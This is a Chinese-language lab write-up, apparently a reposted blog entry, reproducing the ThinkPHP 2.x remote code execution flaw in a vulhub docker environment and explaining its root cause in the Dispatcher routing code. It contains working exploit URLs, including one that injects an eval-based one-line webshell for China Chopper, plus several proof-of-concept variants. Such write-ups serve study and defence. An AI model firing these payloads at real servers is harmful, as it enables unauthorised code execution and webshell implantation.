zoukankan      html  css  js  c++  java
  • 漏洞复现-2.x rce-Thinkphp远程命令执行

     
     
     
     
     
     

    0x00实验环境

    攻击机:win10

    靶机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01影响版本

    影响Thinkphp 2.x的版本

    0x02实验目的

    学习更多的命令执行姿势,同时了解thinkphp 2.x命令执行的原理

    0x03实验步骤

    访问页面,发现是一个Thinkphp的CMS框架,由于是漏洞复现,我们能很清楚的知道它的版本是2.x。如果不知道版本可通过乱输入路径进行报错,或是使用云悉指纹识别进行检测

    此时输入已爆出的远程代码执行命令即可复现漏洞:

    /index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
    /index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此为一句话连菜刀

    这里只要将phpinfo换成一句话木马即可成功!

    0x04实验原理

    (1)通过观察这句话,我们可以清楚地知道它是将

    
    
    ${@phpinfo()}
    
    
    作为变量输出到了页面显示,其原理,我通过freebuf总结一下:
    • PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a
    • thinkphp 所有的主入口文件默认访问index控制器(模块)
    • thinkphp 所有的控制器默认执行index动作(方法)
    • http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
    • 数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

      所以我们可以构造poc如下:

    /index.php?s=a/b/c/${phpinfo()}
    /index.php?s=a/b/c/${phpinfo()}/c/d/e/f
    /index.php?s=a/b/c/d/e/${phpinfo()}
    .......

     (2)简而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

    类名为`Dispatcher`,class Dispatcher extends Think
    里面的方法有:
    static public function dispatch() URL映射到控制器
    public static function getPathInfo()  获得服务器的PATH_INFO信息
    static public function routerCheck() 路由检测
    static private function parseUrl($route)
    static private function getModule($var) 获得实际的模块名称
    static private function getGroup($var) 获得实际的分组名称
    
  • 相关阅读:
    谈谈一些有趣的CSS题目(十四)-- 纯 CSS 方式实现 CSS 动画的暂停与播放!
    Oracle 12c CDB PDB
    sqlplus 调试存储过程
    Oracle 存储过程A
    %notfound的理解——oracle存储过程 .
    ORA-04091: table xxx is mutating, trigger/function may not see it
    JQuery Div scrollTop ScrollHeight
    JQuery JSON Servlet
    div 移动
    HTML 三角符号
  • 原文地址:https://www.cnblogs.com/cute-puli/p/13285528.html
Copyright © 2011-2022 走看看